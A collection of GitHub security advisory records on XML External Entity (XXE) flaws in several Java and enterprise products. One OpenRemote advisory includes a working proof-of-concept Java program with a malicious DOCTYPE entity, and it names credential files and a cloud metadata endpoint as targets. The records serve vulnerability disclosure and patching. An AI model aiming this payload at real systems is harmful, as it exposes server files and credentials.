CWE-611

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.jena:jena-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-39239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-17T18:29:23Z",
    "nvd_published_at": "2021-09-16T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in XML processing in Apache Jena, in versions up to 4.1.0, may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server.",
  "id": "GHSA-7rp6-w7mg-h8rw",
  "modified": "2021-09-17T18:29:23Z",
  "published": "2021-09-20T20:22:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39239"
    },
    {
      "type": "PACKAGE",
      "url": "https://gitbox.apache.org/repos/asf?p=jena.git"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0f03ae7e102c3e8587fdd36531fc167309335738156dfbd7d9c1bf45@%3Cdev.jena.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rce5241b228a1f0e5880f6b2bfdb7ae9ee420e94cb692738a0bbfed9d@%3Cdev.jena.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf44d529c54ef1d0097e813f576a0823a727e1669a9f610d3221d493d%40%3Cusers.jena.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf44d529c54ef1d0097e813f576a0823a727e1669a9f610d3221d493d@%3Cannounce.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "XML External Entity Reference in Apache Jena"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.h2database:h2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.198"
            },
            {
              "fixed": "2.0.202"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23463"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-14T14:17:37Z",
    "nvd_published_at": "2021-12-10T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "H2 is an embeddable RDBMS written in Java. The package com.h2database:h2 from 1.4.198 and before 2.0.202 are vulnerable to XML External Entity (XXE) Injection via the org.h2.jdbc.JdbcSQLXML class object, when it receives parsed string data from org.h2.jdbc.JdbcResultSet.getSQLXML() method. If it executes the getSource() method when the parameter is DOMSource.class it will trigger the vulnerability.",
  "id": "GHSA-7rpj-hg47-cx62",
  "modified": "2023-03-21T16:18:09Z",
  "published": "2021-12-16T14:29:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23463"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2database/h2database/issues/3195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2database/h2database/pull/3199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2database/h2database/pull/3199#issuecomment-1002830390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/boris-unckel/h2database/commit/f9ad6aef2bfa59eba2b4d3e7c4c32d2cce8e8b05"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2database/h2database/commit/d83285fd2e48fb075780ee95badee6f5a15ea7f8%23diff-008c2e4462609982199cd83e7cf6f1d6b41296b516783f6752c44b9f15dc7bc3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2database/h2database"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230818-0010"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-COMH2DATABASE-1769238"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Restriction of XML External Entity Reference in com.h2database:h2."
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.diffplug.spotless:spotless-plugin-gradle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.diffplug.spotless:spotless-maven-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-9843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-07-01T16:09:01Z",
    "nvd_published_at": "2019-06-28T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "In DiffPlug Spotless before 1.20.0 (library and Maven plugin) and before 3.20.0 (Gradle plugin), the XML parser would resolve external entities over both HTTP and HTTPS and didn\u0027t respect the resolveExternalEntities setting. For example, this allows disclosure of file contents to a MITM attacker if a victim performs a spotlessApply operation on an untrusted XML file.",
  "id": "GHSA-7v35-qwwj-p98g",
  "modified": "2022-11-17T18:10:27Z",
  "published": "2019-07-05T21:07:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diffplug/spotless/issues/358"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diffplug/spotless/pull/369"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/diffplug/spotless"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diffplug/spotless/blob/master/plugin-gradle/CHANGES.md#version-3200---march-11th-2018-javadoc-jcenter"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diffplug/spotless/blob/master/plugin-maven/CHANGES.md#version-1200---march-14th-2018-javadoc-jcenter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Restriction of XML External Entity Reference in DiffPlug Spotless"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.24.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.openremote:openremote-agent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T20:49:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files).\n\n### Details\n### Incomplete patch\n\nCVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data.\n\n**Patched file \u2014 AbstractVelbusProtocol.java:**\n\n```java\nprivate DocumentBuilderFactory createSecureDocumentBuilderFactory() {\n    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\n    factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n    factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n    factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n    factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n    return factory;\n}\n```\n\n**Vulnerable file \u2014 KNXProtocol.java, lines 229\u2013249:**\n\n```java\n// Line 229-230: reads 0.xml from user-uploaded ZIP\nInputStream inputStream = KNXProtocol.class.getResourceAsStream(\".../ets_calimero_group_name.xsl\");\nString xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);\n\n// Lines 233-245: Saxon XSLT \u2014 no XXE protection on the source document\nTransformerFactory tfactory = new TransformerFactoryImpl();\nTransformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));\ntransformer.transform(\n    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker\u0027s ZIP\n    new StreamResult(writer));\n\n// Line 249: XMLInputFactory \u2014 no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false\ntry (final XmlReader r = XmlInputFactory.newInstance()\n        .createXMLStreamReader(new StringReader(xml))) { ... }\n```\n\n### Data flow\n\n```\nPOST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)\n  \u2192 AgentResourceImpl.doProtocolAssetImport(fileData)\n  \u2192 KNXProtocol.startAssetImport(byte[] fileData)\n  \u2192 ZipInputStream reads 0.xml from attacker-controlled ETS ZIP\n  \u2192 Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  \u2190 XXE stage 1\n  \u2192 XmlInputFactory.newInstance().createXMLStreamReader(xml)     \u2190 XXE stage 2\n  \u2192 external entity resolved \u2192 arbitrary file read\n```\n\n### Comparison with patched code\n\n| Handler | XML parser | DTD disabled | Status |\n|---|---|---|---|\n| `AbstractVelbusProtocol` | `DocumentBuilderFactory` | \u2705 5 features set | Patched (CVE-2026-40882) |\n| `KNXProtocol` | `Saxon` + `XMLInputFactory` | \u274c none set | **Not patched** |\n\n\n### PoC\nNo full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.\n\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependency:**\n```xml\n\u003cdependency\u003e\n    \u003cgroupId\u003enet.sf.saxon\u003c/groupId\u003e\n    \u003cartifactId\u003eSaxon-HE\u003c/artifactId\u003e\n    \u003cversion\u003e12.9\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n**Exploit.java:**\n```java\nimport net.sf.saxon.TransformerFactoryImpl;\nimport javax.xml.stream.*;\nimport javax.xml.transform.*;\nimport javax.xml.transform.stream.*;\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class Exploit {\n    public static void main(String[] args) throws Exception {\n\n        // Sentinel file \u2014 proves arbitrary file read\n        Path sentinel = Files.createTempFile(\"openremote_xxe_proof_\", \".txt\");\n        String tag = \"OPENREMOTE_KNX_XXE_\" + System.currentTimeMillis();\n        Files.writeString(sentinel, tag);\n\n        String maliciousXml =\n            \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n            \"\u003c!DOCTYPE root [\\n\" +\n            \"  \u003c!ENTITY xxe SYSTEM \\\"file://\" + sentinel.toAbsolutePath() + \"\\\"\u003e\\n\" +\n            \"]\u003e\\n\" +\n            \"\u003croot\u003e\u003cdata\u003e\u0026xxe;\u003c/data\u003e\u003c/root\u003e\";\n\n        // Stage A: XMLInputFactory (KNXProtocol.java:249 \u2014 no security config)\n        XMLInputFactory factory = XMLInputFactory.newInstance();\n        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));\n        StringBuilder sb = new StringBuilder();\n        while (reader.hasNext()) {\n            int e = reader.next();\n            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());\n        }\n        System.out.println(\"Stage A result: \" + sb.toString().trim());\n\n        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)\n        String xsl = \"\u003c?xml version=\\\"1.0\\\"?\u003e\" +\n            \"\u003cxsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\"\u003e\" +\n            \"\u003cxsl:output method=\\\"text\\\"/\u003e\" +\n            \"\u003cxsl:template match=\\\"/\\\"\u003e\u003cxsl:value-of select=\\\"root/data\\\"/\u003e\u003c/xsl:template\u003e\" +\n            \"\u003c/xsl:stylesheet\u003e\";\n        TransformerFactory tf = new TransformerFactoryImpl();\n        StringWriter writer = new StringWriter();\n        tf.newTransformer(new StreamSource(new StringReader(xsl)))\n          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));\n        System.out.println(\"Stage B result: \" + writer.toString().trim());\n\n        Files.deleteIfExists(sentinel);\n    }\n}\n```\n\n**Build and run:**\n```bash\nmvn clean package -q\njava -jar target/openremote-xxe-1.0.jar\n```\n\n**Verified output (JDK 21, Linux):**\n```\nStage A result: OPENREMOTE_KNX_XXE_1780611779589\nStage B result: OPENREMOTE_KNX_XXE_1780611779589\n```\n\nBoth stages print the sentinel file\u0027s contents, confirming that an external entity referencing a local file is resolved without restriction.\n\n\n### Impact\n**Vulnerability type:** XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).\n\n**Who is impacted:** Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:\n\n- `/etc/passwd` \u2014 user enumeration\n- Application configuration files containing database credentials or API keys\n- Cloud provider metadata endpoints via SSRF (`http://169.254.169.254/...`)\n- Internal service endpoints reachable from the server\n\nThe vulnerability is present in `KNXProtocol`, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.",
  "id": "GHSA-7v6w-c3f4-9wpq",
  "modified": "2026-07-06T20:49:51Z",
  "published": "2026-07-06T20:49:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openremote/openremote"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory"
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-3244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-01T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "XML external entity (XXE) vulnerability in the RSSDashlet dashlet in SugarCRM before 6.5.17 allows remote attackers to read arbitrary files or potentially execute arbitrary code via a crafted DTD in an XML request.",
  "id": "GHSA-7wgc-prfc-r69w",
  "modified": "2022-05-14T03:44:34Z",
  "published": "2022-05-14T03:44:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3244"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20151105182132/http://www.pnigos.com/?p=294"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2014/Jun/92"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/68102"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-1000651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-20T19:31:00Z",
    "severity": "CRITICAL"
  },
  "details": "Stroom version \u003c5.4.5 contains a XML External Entity (XXE) vulnerability in XML Parser that can result in disclosure of confidential data, denial of service, server side request forgery, port scanning. This attack appear to be exploitable via Specially crafted XML file.",
  "id": "GHSA-7wwr-6qph-hrh6",
  "modified": "2022-05-14T02:02:39Z",
  "published": "2022-05-14T02:02:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000651"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gchq/stroom/issues/813"
    },
    {
      "type": "WEB",
      "url": "https://0dd.zone/2018/08/08/stroom-XXE"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-20369"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-01T17:15:40Z",
    "severity": "MODERATE"
  },
  "details": "In Splunk Enterprise versions below 9.4.4, 9.3.6, and 9.2.8, and Splunk Cloud Platform versions below 9.3.2411.108, 9.3.2408.118 and 9.2.2406.123, a low privilege user that does not hold the \"admin\" or \"power\" Splunk roles could perform an extensible markup language (XML) external entity (XXE) injection through the dashboard tab label field. The XXE injection has the potential to cause denial of service (DoS) attacks.",
  "id": "GHSA-7xvq-vm2p-4r2f",
  "modified": "2025-10-01T18:30:39Z",
  "published": "2025-10-01T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20369"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2025-1004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-40356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-14T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in Teamcenter V12.4 (All versions \u003c V12.4.0.8), Teamcenter V13.0 (All versions \u003c V13.0.0.7), Teamcenter V13.1 (All versions \u003c V13.1.0.5), Teamcenter V13.2 (All versions \u003c 13.2.0.2). The application contains a XML External Entity Injection (XXE) vulnerability. This could allow an attacker to view files on the application server filesystem.",
  "id": "GHSA-7xwv-xhf6-x5cr",
  "modified": "2022-05-24T19:14:29Z",
  "published": "2022-05-24T19:14:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40356"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-987403.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ws:spring-ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ws:spring-ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ws:spring-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ws:spring-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-3773"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:23:54Z",
    "nvd_published_at": "2019-01-18T22:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Spring Web Services, versions 2.4.3, 3.0.4, and older unsupported versions of all three projects, were susceptible to XML External Entity Injection (XXE) when receiving XML data from untrusted sources.",
  "id": "GHSA-8222-6fc8-mhvf",
  "modified": "2021-06-15T16:59:20Z",
  "published": "2019-01-25T16:18:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3773"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8222-6fc8-mhvf"
    },
    {
      "type": "WEB",
      "url": "https://pivotal.io/security/cve-2019-3773"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vulnerability that affects org.springframework.ws:spring-ws and org.springframework.ws:spring-xml"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geotools:gt-xsd-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "33.0"
            },
            {
              "fixed": "33.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "33.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geotools:gt-xsd-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "32.0"
            },
            {
              "fixed": "32.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 31.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geotools:gt-xsd-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "29.0"
            },
            {
              "fixed": "31.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geotools:gt-wfs-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "33.0"
            },
            {
              "fixed": "33.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geotools:gt-wfs-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "32.0"
            },
            {
              "fixed": "32.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 31.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geotools:gt-wfs-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "29.0"
            },
            {
              "fixed": "31.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geotools:gt-xsd-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "28.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geotools:gt-wfs-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "28.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-09T23:14:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nGeoTools Schema class use of Eclipse XSD library to represent schema data structure is vulnerable to XML External Entity (XXE) exploit.\n\n### Impact\n\nThis impacts whoever exposes XML processing with ``gt-xsd-core`` involved in parsing, when the documents carry a reference to an external XML schema. The ``gt-xsd-core`` Schemas class is not using the EntityResolver provided by the ParserHandler (if any was configured).\n\nThis also impacts users of ``gt-wfs-ng`` DataStore where the ENTITY_RESOLVER connection parameter was not being used as intended.\n\n### Resolution\n\nGeoTools API change allows EntityResolver to be supplied to the following methods:\n\n```java\nSchemas.parse( location, locators, resolvers, uriHandlers, entityResolver);\nSchemas.findSchemas(Configuration configuration, EntityResolver entityResolver);\n```\n\nWith this API change the `gt-wfs-ng` WFS DataStore ENTITY_RESOLVER parameter is now used.\n\n### Reference\n\n* [GHSA-jj54-8f66-c5pc](https://github.com/geoserver/geoserver/security/advisories/GHSA-jj54-8f66-c5pc): Describes the impact of the ``gt-xsd-core`` vulnerability on the GeoServer WFS protocol, resulting in both Service Side Request Forgery (SSRF) and Out-of-Band (OOB) data exfiltration of local files.\n\n* [GHSA-2p76-gc46-5fvc](https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-2p76-gc46-5fvc): Describes the impact of the ``gt-wfs-ng`` and ``gt-xsd-core`` vulnerability on the GeoNetwork WFS Index functionality.",
  "id": "GHSA-826p-4gcg-35vw",
  "modified": "2025-06-09T23:14:48Z",
  "published": "2025-06-09T23:14:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-2p76-gc46-5fvc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-jj54-8f66-c5pc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geotools/geotools/security/advisories/GHSA-826p-4gcg-35vw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geotools/geotools"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoTools has XML External Entity (XXE) Processing Vulnerability in XSD schema handling"
}